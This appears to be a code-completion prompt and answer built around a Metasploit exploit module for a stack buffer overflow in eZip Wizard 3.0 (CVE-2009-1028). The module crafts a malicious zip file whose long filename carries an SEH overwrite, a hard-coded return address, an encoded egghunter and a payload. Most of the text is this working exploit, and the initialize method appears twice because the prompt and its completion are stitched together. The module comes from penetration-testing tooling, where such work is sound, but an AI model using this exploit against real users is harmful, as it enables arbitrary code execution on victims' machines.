You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: ezip_wizard_bof.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eZip Wizard 3.0 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        version 3.0 of ediSys Corp.'s eZip Wizard.

        In order for the command to be executed, an attacker must convince someone to
        open a specially crafted zip file with eZip Wizard, and access the specially
        file via double-clicking it. By doing so, an attacker can execute arbitrary
        code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'fl0 fl0w',  #Initial discovery, poc
          'jduck',     #Metasploit
          'Lincoln',   #Complete Metasploit port
        ],
      'References'     =>
        [
          [ 'CVE', '2009-1028' ],
          [ 'OSVDB', '52815' ],
          [ 'BID', '34044' ],
          [ 'URL', 'http://www.edisys.com/' ],
          [ 'EDB', '8180' ],
          [ 'EDB', '12059' ],
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
        },
      'DefaultOptions' =>
        {
          'AllowWin32SEH' => true
        },
      'Targets'        =>
        [
          ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
        ],
      'DisclosureDate' => '2009-03-09',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
        OptString.new('USERNAME', [ true, 'Username', ''])
      ])

  end

  def exploit

    #These badchars do not apply to the final payload
    badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

    eggoptions =
    {
        :checksum => true,
        :eggtag => 'w00t'
    }

    hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    [ 'x86/alpha_mixed'].each { |name|
      enc = framework.encoders.create(name
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eZip Wizard 3.0 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        version 3.0 of ediSys Corp.'s eZip Wizard.

        In order for the command to be executed, an attacker must convince someone to
        open a specially crafted zip file with eZip Wizard, and access the specially
        file via double-clicking it. By doing so, an attacker can execute arbitrary
        code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'fl0 fl0w',  #Initial discovery, poc
          'jduck',     #Metasploit
          'Lincoln',   #Complete Metasploit port
        ],
      'References'     =>
        [
          [ 'CVE', '2009-1028' ],
          [ 'OSVDB', '52815' ],
          [ 'BID', '34044' ],
          [ 'URL', 'http://www.edisys.com/' ],
          [ 'EDB', '8180' ],
          [ 'EDB', '12059' ],
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
        },
      'DefaultOptions' =>
        {
          'AllowWin32SEH' => true
        },
      'Targets'        =>
        [
          ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
        ],
      'DisclosureDate' => '2009-03-09',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
        OptString.new('USERNAME', [ true, 'Username', ''])
      ])

  end

  def exploit

    #These badchars do not apply to the final payload
    badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

    eggoptions =
    {
        :checksum => true,
        :eggtag => 'w00t'
    }

    hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

    [ 'x86/alpha_mixed'].each { |name|
      enc = framework.encoders.create(name)
      if name =~/alpha/
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
      end
      hunter = enc.encode(hunter, nil, nil, platform)
    }

    #Username length affects our offset to hit SEH correctly
    if datastore['USERNAME'].length >= 9
      padding = rand_text_alpha(target['Offset'] - 8)
    else
      padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
    end

    fname  = padding
    fname << "\x61\x61\x7a\x04"      #nseh, align + conditional jmp
    fname << [target.ret].pack('V')  #seh
    fname << "\x61" * 29             #align for hunter
    fname << "\x58\x58\x41"          #align for hunter
    fname << hunter
    fname << egg

    zip = Rex::Zip::Archive.new
    xtra = [0xdac0ffee].pack('V')
    comment = [0xbadc0ded].pack('V')
    zip.add_file(fname, xtra, comment)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end